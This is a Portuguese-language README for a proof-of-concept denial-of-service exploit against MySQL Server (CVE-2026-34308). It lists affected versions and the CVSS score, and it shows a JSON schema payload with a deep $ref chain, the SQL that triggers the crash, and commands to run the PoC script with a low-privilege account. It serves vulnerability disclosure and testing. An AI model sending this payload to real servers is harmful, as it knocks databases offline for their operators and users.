
Prova de conceito para CVE-2026-34308, uma vulnerabilidade de negação de serviço no componente JSON do MySQL Server. Demonstra exaustão de pilha por meio de cadeias profundas de `$ref` em `JSON_SCHEMA_VALID()`, causando a queda do servidor. Inclui script PoC em Python e análise técnica.
Boletim oficial do fornecedor: Oracle Critical Patch Update Advisory — April 2026.
Vulnerabilidade no Oracle MySQL Server (componente: Server: JSON).
Versões afetadas suportadas: 8.0.0–8.0.45, 8.4.0–8.4.8 e 9.0.0–9.6.0.
A vulnerabilidade permite que um usuário com privilégios baixos derrube o MySQL Server.
Pontuação Base CVSS 3.1: 6.5 (impacto apenas na disponibilidade)
Vetor CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Mecanismo observado: Recursão profunda enquanto o MySQL avalia JSON_SCHEMA_VALID() contra um JSON Schema que contém uma longa cadeia linear de ponteiros $ref, sem um limite efetivo de profundidade durante a compilação/validação do schema—levando ao esgotamento da pilha e a um travamento ou queda repetível.
Cadeia de chamadas (conceitual):
Client SQL → JSON_SCHEMA_VALID(schema, instance)
→ validação interna do JSON schema → resolução repetida de $ref
→ esgotamento da pilha → travamento / queda
Para este PoC, qualquer conta MySQL autenticada é suficiente: conceda apenas USAGE em *.* (o privilégio mínimo do MySQL—capacidade de conectar—sem SELECT, acesso a tabelas ou funções de administrador). Se o usuário puder abrir uma sessão e executar SELECT JSON_SCHEMA_VALID(...), ele poderá acionar a condição.
poc_schema_dos.pyConstrói um JSON schema com uma cadeia linear de $ref (exemplo de profundidade 1200):
{
"$ref": "#/definitions/l0",
"definitions": {
"l0": {"$ref": "#/definitions/l1"},
"l1": {"$ref": "#/definitions/l2"},
...
"l1200": {"type": "string"}
}
}
Enviado ao MySQL como: SELECT JSON_SCHEMA_VALID('<schema>', '"x"');
Em testes contra builds vulneráveis, foi observado que isso derruba o servidor em cerca de um segundo (o tempo exato depende do hardware, das flags de compilação e da profundidade do schema).
python3 poc_schema_dos.py --host 127.0.0.1 --port 3306 --user root --password ""
Para testar uma conta com privilégios baixos:
CREATE USER 'test'@'%' IDENTIFIED BY 'password';
GRANT USAGE ON *.* TO 'test'@'%';
FLUSH PRIVILEGES;
Em seguida: python3 poc_schema_dos.py --user test --password password
6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
poc_schema_dos.py: Script de prova de conceitoREADME.md: Este arquivo